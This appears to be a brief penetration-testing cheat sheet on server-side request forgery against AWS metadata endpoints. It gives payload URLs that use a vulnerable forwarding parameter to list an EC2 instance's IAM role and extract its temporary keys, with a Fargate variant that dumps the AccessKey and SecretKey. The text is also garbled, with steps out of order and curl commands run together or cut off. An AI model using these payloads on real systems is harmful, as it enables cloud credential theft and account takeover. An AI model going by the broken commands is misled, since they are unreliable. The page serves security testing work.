Metadata SSRF
Metadata Server Side Request Forgery (SSRF)
WARNING: Only working with IMDSv1. Enabling IMDSv2 : aws ec2 modify-instance-metadataoptions --instance-id --profile <AWS_PROFILE> --http-endpoint enabled --http-token required .
In order to usr IMDSv2 you must provide a token.
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"Method for Elastic Cloud Compute (EC2)
Example:
https://awesomeapp.com/forward?target=http://169.254.169.254/latest/metadata/iam/security-credentials/Awesome-WAF-Role/1) Access the IAM :
https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/2) Find the name of the role assigned to the instance:
3) Extract the role's temporary keys:
Method for Container Service (Fargate)
1) Fetch the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable from:
2) Use the credential URL to dump the AccessKey and SecretKey: https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
Last updated